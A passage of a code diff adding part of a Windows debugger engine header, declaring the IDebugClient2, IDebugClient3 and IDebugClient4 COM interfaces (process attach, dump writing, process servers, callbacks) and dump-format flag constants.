from any thread. + STDMETHOD(GetOtherOutputMask)( + THIS_ + __in PDEBUG_CLIENT Client, + __out PULONG Mask + ) PURE; + STDMETHOD(SetOtherOutputMask)( + THIS_ + __in PDEBUG_CLIENT Client, + __in ULONG Mask + ) PURE; + // Control the width of an output line for + // commands which produce formatted output. + // This setting is just a suggestion. + STDMETHOD(GetOutputWidth)( + THIS_ + __out PULONG Columns + ) PURE; + STDMETHOD(SetOutputWidth)( + THIS_ + __in ULONG Columns + ) PURE; + // Some of the engines output commands produce + // multiple lines of output. A prefix can be + // set that the engine will automatically output + // for each line in that case, allowing a caller + // to control indentation or identifying marks. + // This is not a general setting for any output + // with a newline in it. Methods which use + // the line prefix are marked in their documentation. + STDMETHOD(GetOutputLinePrefix)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PrefixSize + ) PURE; + STDMETHOD(SetOutputLinePrefix)( + THIS_ + __in_opt PCSTR Prefix + ) PURE; + + // Returns a string describing the machine + // and user this client represents. The + // specific content of the string varies + // with operating system. If the client is + // remotely connected some network information + // may also be present. + STDMETHOD(GetIdentity)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG IdentitySize + ) PURE; + // Format is a printf-like format string + // with one %s where the identity string should go. + STDMETHOD(OutputIdentity)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags, + __in PCSTR Format + ) PURE; + + // Event callbacks allow a client to + // receive notification about changes + // during the debug session. + STDMETHOD(GetEventCallbacks)( + THIS_ + __out PDEBUG_EVENT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetEventCallbacks)( + THIS_ + __in_opt PDEBUG_EVENT_CALLBACKS Callbacks + ) PURE; + + // The engine sometimes merges compatible callback + // requests to reduce callback overhead. This is + // most noticeable with output as small pieces of + // output are collected into larger groups to + // reduce the overall number of output callback calls. + // A client can use this method to force all pending + // callbacks to be delivered. This is rarely necessary. + STDMETHOD(FlushCallbacks)( + THIS + ) PURE; +}; + +// Per-dump-format control flags. +#define DEBUG_FORMAT_DEFAULT 0x00000000 +// When creating a CAB with secondary images do searches +// for all image files, regardless of whether they're +// needed for the current session or not. +#define DEBUG_FORMAT_CAB_SECONDARY_ALL_IMAGES 0x10000000 +// Write dump to a temporary file, then package it +// into a CAB file and delete the temporary file. +#define DEBUG_FORMAT_WRITE_CAB 0x20000000 +// When creating a CAB add secondary files such as +// current symbols and mapped images. +#define DEBUG_FORMAT_CAB_SECONDARY_FILES 0x40000000 +// Don't overwrite existing files. +#define DEBUG_FORMAT_NO_OVERWRITE 0x80000000 + +#define DEBUG_FORMAT_USER_SMALL_FULL_MEMORY 0x00000001 +#define DEBUG_FORMAT_USER_SMALL_HANDLE_DATA 0x00000002 +#define DEBUG_FORMAT_USER_SMALL_UNLOADED_MODULES 0x00000004 +#define DEBUG_FORMAT_USER_SMALL_INDIRECT_MEMORY 0x00000008 +#define DEBUG_FORMAT_USER_SMALL_DATA_SEGMENTS 0x00000010 +#define DEBUG_FORMAT_USER_SMALL_FILTER_MEMORY 0x00000020 +#define DEBUG_FORMAT_USER_SMALL_FILTER_PATHS 0x00000040 +#define DEBUG_FORMAT_USER_SMALL_PROCESS_THREAD_DATA 0x00000080 +#define DEBUG_FORMAT_USER_SMALL_PRIVATE_READ_WRITE_MEMORY 0x00000100 +#define DEBUG_FORMAT_USER_SMALL_NO_OPTIONAL_DATA 0x00000200 +#define DEBUG_FORMAT_USER_SMALL_FULL_MEMORY_INFO 0x00000400 +#define DEBUG_FORMAT_USER_SMALL_THREAD_INFO 0x00000800 +#define DEBUG_FORMAT_USER_SMALL_CODE_SEGMENTS 0x00001000 +#define DEBUG_FORMAT_USER_SMALL_NO_AUXILIARY_STATE 0x00002000 +#define DEBUG_FORMAT_USER_SMALL_FULL_AUXILIARY_STATE 0x00004000 +#define DEBUG_FORMAT_USER_SMALL_IGNORE_INACCESSIBLE_MEM 0x08000000 + +// +// Dump information file types. +// + +// Base dump file, returned when querying for dump files. +#define DEBUG_DUMP_FILE_BASE 0xffffffff +// Single file containing packed page file information. +#define DEBUG_DUMP_FILE_PAGE_FILE_DUMP 0x00000000 + +#undef INTERFACE +#define INTERFACE IDebugClient2 +DECLARE_INTERFACE_(IDebugClient2, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugClient. + + // The following set of methods start + // the different kinds of debuggees. + + // Begins a debug session using the kernel + // debugging protocol. This method selects + // the protocol as the debuggee communication + // mechanism but does not initiate the communication + // itself. + STDMETHOD(AttachKernel)( + THIS_ + __in ULONG Flags, + __in_opt PCSTR ConnectOptions + ) PURE; + STDMETHOD(GetKernelConnectionOptions)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG OptionsSize + ) PURE; + // Updates the connection options for a live + // kernel connection. This can only be used + // to modify parameters for the connection, not + // to switch to a completely different kind of + // connection. + // This method is reentrant. + STDMETHOD(SetKernelConnectionOptions)( + THIS_ + __in PCSTR Options + ) PURE; + + // Starts a process server for remote + // user-mode process control. + // The local process server is server zero. + STDMETHOD(StartProcessServer)( + THIS_ + __in ULONG Flags, + __in PCSTR Options, + __in_opt __reserved PVOID Reserved + ) PURE; + STDMETHOD(ConnectProcessServer)( + THIS_ + __in PCSTR RemoteOptions, + __out PULONG64 Server + ) PURE; + STDMETHOD(DisconnectProcessServer)( + THIS_ + __in ULONG64 Server + ) PURE; + + // Enumerates and describes processes + // accessible through the given process server. + STDMETHOD(GetRunningProcessSystemIds)( + THIS_ + __in ULONG64 Server, + __out_ecount_opt(Count) PULONG Ids, + __in ULONG Count, + __out_opt PULONG ActualCount + ) PURE; + STDMETHOD(GetRunningProcessSystemIdByExecutableName)( + THIS_ + __in ULONG64 Server, + __in PCSTR ExeName, + __in ULONG Flags, + __out PULONG Id + ) PURE; + STDMETHOD(GetRunningProcessDescription)( + THIS_ + __in ULONG64 Server, + __in ULONG SystemId, + __in ULONG Flags, + __out_ecount_opt(ExeNameSize) PSTR ExeName, + __in ULONG ExeNameSize, + __out_opt PULONG ActualExeNameSize, + __out_ecount_opt(DescriptionSize) PSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG ActualDescriptionSize + ) PURE; + + // Attaches to a running user-mode process. + STDMETHOD(AttachProcess)( + THIS_ + __in ULONG64 Server, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + // Creates a new user-mode process for debugging. + // CreateFlags are as given to Win32s CreateProcess. + // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS + // must be specified. + STDMETHOD(CreateProcess)( + THIS_ + __in ULONG64 Server, + __in PSTR CommandLine, + __in ULONG CreateFlags + ) PURE; + // Creates or attaches to a user-mode process, or both. + // If CommandLine is NULL this method operates as + // AttachProcess does. If ProcessId is zero it + // operates as CreateProcess does. If CommandLine is + // non-NULL and ProcessId is non-zero the method first + // starts a process with the given information but + // in a suspended state. The engine then attaches to + // the indicated process. Once the attach is successful + // the suspended process is resumed. This provides + // synchronization between the new process and the + // attachment. + STDMETHOD(CreateProcessAndAttach)( + THIS_ + __in ULONG64 Server, + __in_opt PSTR CommandLine, + __in ULONG CreateFlags, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + // Gets and sets process control flags. + STDMETHOD(GetProcessOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // Opens any kind of user- or kernel-mode dump file + // and begins a debug session with the information + // contained within it. + STDMETHOD(OpenDumpFile)( + THIS_ + __in PCSTR DumpFile + ) PURE; + // Writes a dump file from the current session information. + // The kind of dump file written is determined by the + // kind of session and the type qualifier given. + // For example, if the current session is a kernel + // debug session (DEBUG_CLASS_KERNEL) and the qualifier + // is DEBUG_DUMP_SMALL a small kernel dump will be written. + STDMETHOD(WriteDumpFile)( + THIS_ + __in PCSTR DumpFile, + __in ULONG Qualifier + ) PURE; + + // Indicates that a remote client is ready to + // begin participating in the current session. + // HistoryLimit gives a character limit on + // the amount of output history to be sent. + STDMETHOD(ConnectSession)( + THIS_ + __in ULONG Flags, + __in ULONG HistoryLimit + ) PURE; + // Indicates that the engine should start accepting + // remote connections. Options specifies connection types + // and their parameters. Supported strings are: + // npipe:Pipe= + // tcp:Port= + STDMETHOD(StartServer)( + THIS_ + __in PCSTR Options + ) PURE; + // List the servers running on the given machine. + // Uses the line prefix. + STDMETHOD(OutputServers)( + THIS_ + __in ULONG OutputControl, + __in PCSTR Machine, + __in ULONG Flags + ) PURE; + + // Attempts to terminate all processes in the debuggers list. + STDMETHOD(TerminateProcesses)( + THIS + ) PURE; + // Attempts to detach from all processes in the debuggers list. + // This requires OS support for debugger detach. + STDMETHOD(DetachProcesses)( + THIS + ) PURE; + // Stops the current debug session. If a process + // was created or attached an active EndSession can + // terminate or detach from it. + // If a kernel connection was opened it will be closed but the + // target machine is otherwise unaffected. + STDMETHOD(EndSession)( + THIS_ + __in ULONG Flags + ) PURE; + // If a process was started and ran to completion + // this method can be used to retrieve its exit code. + STDMETHOD(GetExitCode)( + THIS_ + __out PULONG Code + ) PURE; + + // Client event callbacks are called on the thread + // of the client. In order to give thread + // execution to the engine for callbacks all + // client threads should call DispatchCallbacks + // when they are idle. Callbacks are only + // received when a thread calls DispatchCallbacks + // or WaitForEvent. WaitForEvent can only be + // called by the thread that started the debug + // session so all other client threads should + // call DispatchCallbacks when possible. + // DispatchCallbacks returns when ExitDispatch is used + // to interrupt dispatch or when the timeout expires. + // DispatchCallbacks dispatches callbacks for all + // clients associated with the thread calling + // DispatchCallbacks. + // DispatchCallbacks returns S_FALSE when the + // timeout expires. + STDMETHOD(DispatchCallbacks)( + THIS_ + __in ULONG Timeout + ) PURE; + // ExitDispatch can be used to interrupt callback + // dispatch when a client thread is needed by the + // client. This method is reentrant and can + // be called from any thread. + STDMETHOD(ExitDispatch)( + THIS_ + __in PDEBUG_CLIENT Client + ) PURE; + + // Clients are specific to the thread that + // created them. Calls from other threads + // fail immediately. The CreateClient method + // is a notable exception; it allows creation + // of a new client for a new thread. + STDMETHOD(CreateClient)( + THIS_ + __out PDEBUG_CLIENT* Client + ) PURE; + + STDMETHOD(GetInputCallbacks)( + THIS_ + __out PDEBUG_INPUT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetInputCallbacks)( + THIS_ + __in_opt PDEBUG_INPUT_CALLBACKS Callbacks + ) PURE; + + // Output callback interfaces are described separately. + STDMETHOD(GetOutputCallbacks)( + THIS_ + __out PDEBUG_OUTPUT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetOutputCallbacks)( + THIS_ + __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks + ) PURE; + // Output flags provide control over + // the distribution of output among clients. + // Output masks select which output streams + // should be sent to the output callbacks. + // Only Output calls with a mask that + // contains one of the output mask bits + // will be sent to the output callbacks. + // These methods are reentrant. + // If such access is not synchronized + // disruptions in output may occur. + STDMETHOD(GetOutputMask)( + THIS_ + __out PULONG Mask + ) PURE; + STDMETHOD(SetOutputMask)( + THIS_ + __in ULONG Mask + ) PURE; + // These methods allow access to another clients + // output mask. They are necessary for changing + // a clients output mask when it is + // waiting for events. These methods are reentrant + // and can be called from any thread. + STDMETHOD(GetOtherOutputMask)( + THIS_ + __in PDEBUG_CLIENT Client, + __out PULONG Mask + ) PURE; + STDMETHOD(SetOtherOutputMask)( + THIS_ + __in PDEBUG_CLIENT Client, + __in ULONG Mask + ) PURE; + // Control the width of an output line for + // commands which produce formatted output. + // This setting is just a suggestion. + STDMETHOD(GetOutputWidth)( + THIS_ + __out PULONG Columns + ) PURE; + STDMETHOD(SetOutputWidth)( + THIS_ + __in ULONG Columns + ) PURE; + // Some of the engines output commands produce + // multiple lines of output. A prefix can be + // set that the engine will automatically output + // for each line in that case, allowing a caller + // to control indentation or identifying marks. + // This is not a general setting for any output + // with a newline in it. Methods which use + // the line prefix are marked in their documentation. + STDMETHOD(GetOutputLinePrefix)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PrefixSize + ) PURE; + STDMETHOD(SetOutputLinePrefix)( + THIS_ + __in_opt PCSTR Prefix + ) PURE; + + // Returns a string describing the machine + // and user this client represents. The + // specific content of the string varies + // with operating system. If the client is + // remotely connected some network information + // may also be present. + STDMETHOD(GetIdentity)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG IdentitySize + ) PURE; + // Format is a printf-like format string + // with one %s where the identity string should go. + STDMETHOD(OutputIdentity)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags, + __in PCSTR Format + ) PURE; + + // Event callbacks allow a client to + // receive notification about changes + // during the debug session. + STDMETHOD(GetEventCallbacks)( + THIS_ + __out PDEBUG_EVENT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetEventCallbacks)( + THIS_ + __in_opt PDEBUG_EVENT_CALLBACKS Callbacks + ) PURE; + + // The engine sometimes merges compatible callback + // requests to reduce callback overhead. This is + // most noticeable with output as small pieces of + // output are collected into larger groups to + // reduce the overall number of output callback calls. + // A client can use this method to force all pending + // callbacks to be delivered. This is rarely necessary. + STDMETHOD(FlushCallbacks)( + THIS + ) PURE; + + // IDebugClient2. + + // Functions similarly to WriteDumpFile with + // the addition of the ability to specify + // per-dump-format write control flags. + // Comment is not supported in all formats. + STDMETHOD(WriteDumpFile2)( + THIS_ + __in PCSTR DumpFile, + __in ULONG Qualifier, + __in ULONG FormatFlags, + __in_opt PCSTR Comment + ) PURE; + // Registers additional files of supporting information + // for a dump file open. This method must be called + // before OpenDumpFile is called. + // The files registered may be opened at the time + // this method is called but generally will not + // be used until OpenDumpFile is called. + STDMETHOD(AddDumpInformationFile)( + THIS_ + __in PCSTR InfoFile, + __in ULONG Type + ) PURE; + + // Requests that the remote process server shut down. + STDMETHOD(EndProcessServer)( + THIS_ + __in ULONG64 Server + ) PURE; + // Waits for a started process server to + // exit. Allows an application running a + // process server to monitor the process + // server so that it can tell when a remote + // client has asked for it to exit. + // Returns S_OK if the process server has + // shut down and S_FALSE for a timeout. + STDMETHOD(WaitForProcessServerEnd)( + THIS_ + __in ULONG Timeout + ) PURE; + + // Returns S_OK if the system is configured + // to allow kernel debugging. + STDMETHOD(IsKernelDebuggerEnabled)( + THIS + ) PURE; + + // Attempts to terminate the current process. + // Exit process events for the process may be generated. + STDMETHOD(TerminateCurrentProcess)( + THIS + ) PURE; + // Attempts to detach from the current process. + // This requires OS support for debugger detach. + STDMETHOD(DetachCurrentProcess)( + THIS + ) PURE; + // Removes the process from the debuggers process + // list without making any other changes. The process + // will still be marked as being debugged and will + // not run. This allows a debugger to be shut down + // and a new debugger attached without taking the + // process out of the debugged state. + // This is only supported on some system versions. + STDMETHOD(AbandonCurrentProcess)( + THIS + ) PURE; +}; + +#undef INTERFACE +#define INTERFACE IDebugClient3 +DECLARE_INTERFACE_(IDebugClient3, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugClient. + + // The following set of methods start + // the different kinds of debuggees. + + // Begins a debug session using the kernel + // debugging protocol. This method selects + // the protocol as the debuggee communication + // mechanism but does not initiate the communication + // itself. + STDMETHOD(AttachKernel)( + THIS_ + __in ULONG Flags, + __in_opt PCSTR ConnectOptions + ) PURE; + STDMETHOD(GetKernelConnectionOptions)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG OptionsSize + ) PURE; + // Updates the connection options for a live + // kernel connection. This can only be used + // to modify parameters for the connection, not + // to switch to a completely different kind of + // connection. + // This method is reentrant. + STDMETHOD(SetKernelConnectionOptions)( + THIS_ + __in PCSTR Options + ) PURE; + + // Starts a process server for remote + // user-mode process control. + // The local process server is server zero. + STDMETHOD(StartProcessServer)( + THIS_ + __in ULONG Flags, + __in PCSTR Options, + __in_opt __reserved PVOID Reserved + ) PURE; + STDMETHOD(ConnectProcessServer)( + THIS_ + __in PCSTR RemoteOptions, + __out PULONG64 Server + ) PURE; + STDMETHOD(DisconnectProcessServer)( + THIS_ + __in ULONG64 Server + ) PURE; + + // Enumerates and describes processes + // accessible through the given process server. + STDMETHOD(GetRunningProcessSystemIds)( + THIS_ + __in ULONG64 Server, + __out_ecount_opt(Count) PULONG Ids, + __in ULONG Count, + __out_opt PULONG ActualCount + ) PURE; + STDMETHOD(GetRunningProcessSystemIdByExecutableName)( + THIS_ + __in ULONG64 Server, + __in PCSTR ExeName, + __in ULONG Flags, + __out PULONG Id + ) PURE; + STDMETHOD(GetRunningProcessDescription)( + THIS_ + __in ULONG64 Server, + __in ULONG SystemId, + __in ULONG Flags, + __out_ecount_opt(ExeNameSize) PSTR ExeName, + __in ULONG ExeNameSize, + __out_opt PULONG ActualExeNameSize, + __out_ecount_opt(DescriptionSize) PSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG ActualDescriptionSize + ) PURE; + + // Attaches to a running user-mode process. + STDMETHOD(AttachProcess)( + THIS_ + __in ULONG64 Server, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + // Creates a new user-mode process for debugging. + // CreateFlags are as given to Win32s CreateProcess. + // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS + // must be specified. + STDMETHOD(CreateProcess)( + THIS_ + __in ULONG64 Server, + __in PSTR CommandLine, + __in ULONG CreateFlags + ) PURE; + // Creates or attaches to a user-mode process, or both. + // If CommandLine is NULL this method operates as + // AttachProcess does. If ProcessId is zero it + // operates as CreateProcess does. If CommandLine is + // non-NULL and ProcessId is non-zero the method first + // starts a process with the given information but + // in a suspended state. The engine then attaches to + // the indicated process. Once the attach is successful + // the suspended process is resumed. This provides + // synchronization between the new process and the + // attachment. + STDMETHOD(CreateProcessAndAttach)( + THIS_ + __in ULONG64 Server, + __in_opt PSTR CommandLine, + __in ULONG CreateFlags, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + // Gets and sets process control flags. + STDMETHOD(GetProcessOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // Opens any kind of user- or kernel-mode dump file + // and begins a debug session with the information + // contained within it. + STDMETHOD(OpenDumpFile)( + THIS_ + __in PCSTR DumpFile + ) PURE; + // Writes a dump file from the current session information. + // The kind of dump file written is determined by the + // kind of session and the type qualifier given. + // For example, if the current session is a kernel + // debug session (DEBUG_CLASS_KERNEL) and the qualifier + // is DEBUG_DUMP_SMALL a small kernel dump will be written. + STDMETHOD(WriteDumpFile)( + THIS_ + __in PCSTR DumpFile, + __in ULONG Qualifier + ) PURE; + + // Indicates that a remote client is ready to + // begin participating in the current session. + // HistoryLimit gives a character limit on + // the amount of output history to be sent. + STDMETHOD(ConnectSession)( + THIS_ + __in ULONG Flags, + __in ULONG HistoryLimit + ) PURE; + // Indicates that the engine should start accepting + // remote connections. Options specifies connection types + // and their parameters. Supported strings are: + // npipe:Pipe= + // tcp:Port= + STDMETHOD(StartServer)( + THIS_ + __in PCSTR Options + ) PURE; + // List the servers running on the given machine. + // Uses the line prefix. + STDMETHOD(OutputServers)( + THIS_ + __in ULONG OutputControl, + __in PCSTR Machine, + __in ULONG Flags + ) PURE; + + // Attempts to terminate all processes in the debuggers list. + STDMETHOD(TerminateProcesses)( + THIS + ) PURE; + // Attempts to detach from all processes in the debuggers list. + // This requires OS support for debugger detach. + STDMETHOD(DetachProcesses)( + THIS + ) PURE; + // Stops the current debug session. If a process + // was created or attached an active EndSession can + // terminate or detach from it. + // If a kernel connection was opened it will be closed but the + // target machine is otherwise unaffected. + STDMETHOD(EndSession)( + THIS_ + __in ULONG Flags + ) PURE; + // If a process was started and ran to completion + // this method can be used to retrieve its exit code. + STDMETHOD(GetExitCode)( + THIS_ + __out PULONG Code + ) PURE; + + // Client event callbacks are called on the thread + // of the client. In order to give thread + // execution to the engine for callbacks all + // client threads should call DispatchCallbacks + // when they are idle. Callbacks are only + // received when a thread calls DispatchCallbacks + // or WaitForEvent. WaitForEvent can only be + // called by the thread that started the debug + // session so all other client threads should + // call DispatchCallbacks when possible. + // DispatchCallbacks returns when ExitDispatch is used + // to interrupt dispatch or when the timeout expires. + // DispatchCallbacks dispatches callbacks for all + // clients associated with the thread calling + // DispatchCallbacks. + // DispatchCallbacks returns S_FALSE when the + // timeout expires. + STDMETHOD(DispatchCallbacks)( + THIS_ + __in ULONG Timeout + ) PURE; + // ExitDispatch can be used to interrupt callback + // dispatch when a client thread is needed by the + // client. This method is reentrant and can + // be called from any thread. + STDMETHOD(ExitDispatch)( + THIS_ + __in PDEBUG_CLIENT Client + ) PURE; + + // Clients are specific to the thread that + // created them. Calls from other threads + // fail immediately. The CreateClient method + // is a notable exception; it allows creation + // of a new client for a new thread. + STDMETHOD(CreateClient)( + THIS_ + __out PDEBUG_CLIENT* Client + ) PURE; + + STDMETHOD(GetInputCallbacks)( + THIS_ + __out PDEBUG_INPUT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetInputCallbacks)( + THIS_ + __in_opt PDEBUG_INPUT_CALLBACKS Callbacks + ) PURE; + + // Output callback interfaces are described separately. + STDMETHOD(GetOutputCallbacks)( + THIS_ + __out PDEBUG_OUTPUT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetOutputCallbacks)( + THIS_ + __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks + ) PURE; + // Output flags provide control over + // the distribution of output among clients. + // Output masks select which output streams + // should be sent to the output callbacks. + // Only Output calls with a mask that + // contains one of the output mask bits + // will be sent to the output callbacks. + // These methods are reentrant. + // If such access is not synchronized + // disruptions in output may occur. + STDMETHOD(GetOutputMask)( + THIS_ + __out PULONG Mask + ) PURE; + STDMETHOD(SetOutputMask)( + THIS_ + __in ULONG Mask + ) PURE; + // These methods allow access to another clients + // output mask. They are necessary for changing + // a clients output mask when it is + // waiting for events. These methods are reentrant + // and can be called from any thread. + STDMETHOD(GetOtherOutputMask)( + THIS_ + __in PDEBUG_CLIENT Client, + __out PULONG Mask + ) PURE; + STDMETHOD(SetOtherOutputMask)( + THIS_ + __in PDEBUG_CLIENT Client, + __in ULONG Mask + ) PURE; + // Control the width of an output line for + // commands which produce formatted output. + // This setting is just a suggestion. + STDMETHOD(GetOutputWidth)( + THIS_ + __out PULONG Columns + ) PURE; + STDMETHOD(SetOutputWidth)( + THIS_ + __in ULONG Columns + ) PURE; + // Some of the engines output commands produce + // multiple lines of output. A prefix can be + // set that the engine will automatically output + // for each line in that case, allowing a caller + // to control indentation or identifying marks. + // This is not a general setting for any output + // with a newline in it. Methods which use + // the line prefix are marked in their documentation. + STDMETHOD(GetOutputLinePrefix)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PrefixSize + ) PURE; + STDMETHOD(SetOutputLinePrefix)( + THIS_ + __in_opt PCSTR Prefix + ) PURE; + + // Returns a string describing the machine + // and user this client represents. The + // specific content of the string varies + // with operating system. If the client is + // remotely connected some network information + // may also be present. + STDMETHOD(GetIdentity)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG IdentitySize + ) PURE; + // Format is a printf-like format string + // with one %s where the identity string should go. + STDMETHOD(OutputIdentity)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags, + __in PCSTR Format + ) PURE; + + // Event callbacks allow a client to + // receive notification about changes + // during the debug session. + STDMETHOD(GetEventCallbacks)( + THIS_ + __out PDEBUG_EVENT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetEventCallbacks)( + THIS_ + __in_opt PDEBUG_EVENT_CALLBACKS Callbacks + ) PURE; + + // The engine sometimes merges compatible callback + // requests to reduce callback overhead. This is + // most noticeable with output as small pieces of + // output are collected into larger groups to + // reduce the overall number of output callback calls. + // A client can use this method to force all pending + // callbacks to be delivered. This is rarely necessary. + STDMETHOD(FlushCallbacks)( + THIS + ) PURE; + + // IDebugClient2. + + // Functions similarly to WriteDumpFile with + // the addition of the ability to specify + // per-dump-format write control flags. + // Comment is not supported in all formats. + STDMETHOD(WriteDumpFile2)( + THIS_ + __in PCSTR DumpFile, + __in ULONG Qualifier, + __in ULONG FormatFlags, + __in_opt PCSTR Comment + ) PURE; + // Registers additional files of supporting information + // for a dump file open. This method must be called + // before OpenDumpFile is called. + // The files registered may be opened at the time + // this method is called but generally will not + // be used until OpenDumpFile is called. + STDMETHOD(AddDumpInformationFile)( + THIS_ + __in PCSTR InfoFile, + __in ULONG Type + ) PURE; + + // Requests that the remote process server shut down. + STDMETHOD(EndProcessServer)( + THIS_ + __in ULONG64 Server + ) PURE; + // Waits for a started process server to + // exit. Allows an application running a + // process server to monitor the process + // server so that it can tell when a remote + // client has asked for it to exit. + // Returns S_OK if the process server has + // shut down and S_FALSE for a timeout. + STDMETHOD(WaitForProcessServerEnd)( + THIS_ + __in ULONG Timeout + ) PURE; + + // Returns S_OK if the system is configured + // to allow kernel debugging. + STDMETHOD(IsKernelDebuggerEnabled)( + THIS + ) PURE; + + // Attempts to terminate the current process. + // Exit process events for the process may be generated. + STDMETHOD(TerminateCurrentProcess)( + THIS + ) PURE; + // Attempts to detach from the current process. + // This requires OS support for debugger detach. + STDMETHOD(DetachCurrentProcess)( + THIS + ) PURE; + // Removes the process from the debuggers process + // list without making any other changes. The process + // will still be marked as being debugged and will + // not run. This allows a debugger to be shut down + // and a new debugger attached without taking the + // process out of the debugged state. + // This is only supported on some system versions. + STDMETHOD(AbandonCurrentProcess)( + THIS + ) PURE; + + // IDebugClient3. + + STDMETHOD(GetRunningProcessSystemIdByExecutableNameWide)( + THIS_ + __in ULONG64 Server, + __in PCWSTR ExeName, + __in ULONG Flags, + __out PULONG Id + ) PURE; + STDMETHOD(GetRunningProcessDescriptionWide)( + THIS_ + __in ULONG64 Server, + __in ULONG SystemId, + __in ULONG Flags, + __out_ecount_opt(ExeNameSize) PWSTR ExeName, + __in ULONG ExeNameSize, + __out_opt PULONG ActualExeNameSize, + __out_ecount_opt(DescriptionSize) PWSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG ActualDescriptionSize + ) PURE; + + STDMETHOD(CreateProcessWide)( + THIS_ + __in ULONG64 Server, + __in PWSTR CommandLine, + __in ULONG CreateFlags + ) PURE; + STDMETHOD(CreateProcessAndAttachWide)( + THIS_ + __in ULONG64 Server, + __in_opt PWSTR CommandLine, + __in ULONG CreateFlags, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; +}; + +// +// Special indices for GetDumpFile to return +// alternate filenames. +// + +// Special index that returns the name of the last .dmp file +// that failed to load (whether directly or from inside a +// .cab file). +#define DEBUG_DUMP_FILE_LOAD_FAILED_INDEX 0xffffffff +// Index that returns last cab file opened, this is needed to +// get the name of original CAB file since debugger returns the +// extracted dump file in the GetDumpFile method. +#define DEBUG_DUMP_FILE_ORIGINAL_CAB_INDEX 0xfffffffe + +#undef INTERFACE +#define INTERFACE IDebugClient4 +DECLARE_INTERFACE_(IDebugClient4, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugClient. + + // The following set of methods start + // the different kinds of debuggees. + + // Begins a debug session using the kernel + // debugging protocol. This method selects + // the protocol as the debuggee communication + // mechanism but does not initiate the communication + // itself. + STDMETHOD(AttachKernel)( + THIS_ + __in ULONG Flags, + __in_opt PCSTR ConnectOptions + ) PURE; + STDMETHOD(GetKernelConnectionOptions)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG OptionsSize + ) PURE; + // Updates the connection options for a live + // kernel connection. This can only be used + // to modify parameters for the connection, not + // to switch to a completely different kind of + // connection. + // This method is reentrant. + STDMETHOD(SetKernelConnectionOptions)( + THIS_ + __in PCSTR Options + ) PURE; + + // Starts a process server for remote + // user-mode process control. + // The local process server is server zero. + STDMETHOD(StartProcessServer)( + THIS_ + __in ULONG Flags, + __in PCSTR Options, + __in_opt __reserved PVOID Reserved + ) PURE; + STDMETHOD(ConnectProcessServer)( + THIS_ + __in PCSTR RemoteOptions, + __out PULONG64 Server + ) PURE; + STDMETHOD(DisconnectProcessServer)( + THIS_ + __in ULONG64 Server + ) PURE; + + // Enumerates and describes processes + // accessible through the given process server. + STDMETHOD(GetRunningProcessSystemIds)( + THIS_ + __in ULONG64 Server, + __out_ecount_opt(Count) PULONG Ids, + __in ULONG Count, + __out_opt PULONG ActualCount + ) PURE; + STDMETHOD(GetRunningProcessSystemIdByExecutableName)( + THIS_ + __in ULONG64 Server, + __in PCSTR ExeName, + __in ULONG Flags, + __out PULONG Id + ) PURE; + 